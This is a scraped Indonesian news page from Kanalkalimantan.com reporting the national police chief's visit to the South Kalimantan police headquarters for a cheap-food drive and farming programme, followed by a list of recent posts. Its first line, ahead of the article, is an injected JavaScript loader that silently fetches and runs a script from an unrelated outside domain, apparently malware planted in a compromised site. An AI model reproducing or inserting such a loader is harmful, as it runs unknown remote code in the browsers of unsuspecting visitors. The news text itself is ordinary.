(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Gerakan Pangan Murah di Mapolda Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kepala Kepolisian Republik Indonesia (Kapolri) Jenderal Listyo Sigit Prabowo sambangi warga yang memadati Gerakan Pangan Murah dan bakti sosial kesehatan di Markas Kepolisian Daerah (Mapolda) Kalimantan Selatan (Kalsel), Kamis (21/8/2025) siang.

Jenderal Sigit menyapa warga yang memadati areal tersebut bersama Kapolda Kalsel Irjen Pol Rosyanto Yudha, serta Gubernur Kalsel H Muhidin.

Pantauan Kanalkalimantan.com, Kamis (21/8/2025) siang, Jenderal Sigit menyapa warga selepas meresmikan dua Satuan Pelayanan Pemenuhuhan Gizi (SPPG) dan peletakan batu pertama 10 SPPG di Kalsel, serta peresmian gedung Mapolda Kalsel secara serentak.

Baca juga: Kapolri Tinjau Mapolda Kalsel, Resmikan Groundbreaking 10 Dapur MBG

Kapolri Jenderal Listyo Sigit Prabowo didampingi Kapolda Kalsel Irjen Pol Rosyanto Yudha, dan Gubernur Kalimantan Selatan H Muhidin. Foto: wanda

Selepas itu, kedatangan Jenderal Sigit disambut dengan berkeliling meninjau gedung Mapolda yang baru dibangun di kawasan perkantoran Gubernur Kalsel, wilayah Kecamatan Cempaka, Kota Banjarbaru.

Tampak Jenderal Sigit mengenakan seragam lengkap dengan balutan atribut. Sementara sejak siang hari, warga telah memadati areal tersebut dan tampak antusias.

Kapolri mengatakan program gerakan pangan sendiri merupakan program untuk memberikan manfaat dan membantu hubungan terhadap masyarakat.

Dia melihat Polda Kalsel memiliki sejumlah program, salah satunya dalam bidang ketahanan pangan untuk membantu masyarakat.

Baca juga: Pamor Borneo 2025 Angkat Perdagangan, Investasi, dan Pariwisata Kalsel

“Tadi dijelaskan bahwa Polda Kalsel telah membuka lahan sekitar 12 ribu hektare dan ke depan akan ditambah lagi hingga 20 ribu hektare,” ujar Kapolri Jenderal Listyo Sigit Prabowo dalam sesi konferensi pers kepada awak media, Kamis (21/8/2025) siang.

Puluhan haktare lahan itu masih dikelola oleh kelompok tani, dan diharapkan dapat bekerja sama untuk mendukung program ketahanan pangan khususnya untuk budidaya jagung.

“Ini juga menjadi rantai suplai untuk mendukung kebutuhan program makan bergizi gratis sehingga harga dari kebutuhan pangan betulabatul bisa terjaga  dsn ketergantungan terhadap impor bisa kita hilangkan,” jelasnya.

Jenderal Sigit berharap program-program untuk membantu masyarakat  di Kalsel bisa berjalan dengan baik, dengan satu kuncinya adalah sinergisitas antar institusi, Forkopimda hingga masyarakat berjalan dengan baik.

Baca juga: Sambut Hari Santri Nasional 2025 se Kalsel di Kabupaten Banjar, Ragam Kegiatan Bakal Digelar

“Saya meminta Kapolda untuk terus bekerja sama dengan masyarakat kelompok tani serta semua elemen yang bisa membdukung program program unggulan terutama program bapak Presiden,” imbuh dia.

Sementara Kapolda Kalsel Irjen Pol Rosyanto Yudha menjelaskan, dalam program ketahanan pangan yang dilakukan Polda Kalsel sudah melakukan penanaman di 342 titik lokasi, dengan jumlah lahan 971,38 hektare untuk penanaman, dan ada 1,981,55 ton yang berhasil panen.

“Dan ada 11.530,76 hektare masih dalam proses penanaman. Kami memberikan penawaran mengajak masyarakat  untuk dapat bekerjasama melakukan penanaman di lahan yang disediakan,” tuntasnya.

Polda Kalsel juga membuat inovasi salah satunya dengan pemanfaatan lahan basah. Dimana terdapat laham gambut tepatnya di Jalan Gunernur Syarkawi Kilometer 17 Kabupaten Banjar, Polda Kalsel mengubah lahan tidak produktif menjadi lahan gambut yang menghasilkan untuk program ketahanan pangan.

Baca juga: Kirim Bantuan Logistik Banjir di Mandau Talawang, Ini Kata Kalak BPBD Kapuas

Masruni, warga yang datang mengaku senang dan bersyukur akan program Polri yang membantu masyarakat memenuhi kebutuhan sehari-hari melalui gerakan pangan ini.

“Gratis ini dapat bingkisan, yang dijual ada beras minyak. Harapannya bisa sering seperti ini,” ujar warga Cempaka ini

Aspihani warga Cempaka lainnya mengaku telah mengantre sejak pukul 14.00 Wita untuk bisa mendapatkan Sembako.

“Dapat gula, kecap, mie, garam, sarden sama minyak, ini dapat gratis. Ada beli  MinyaKita Rp15 ribu, beli dua Rp30 ribu lebih murah, bedanya dua ribu rupiah,” tutup Aspihani. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

6 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

7 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

10 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

10 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

11 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

11 jam ago

This website uses cookies.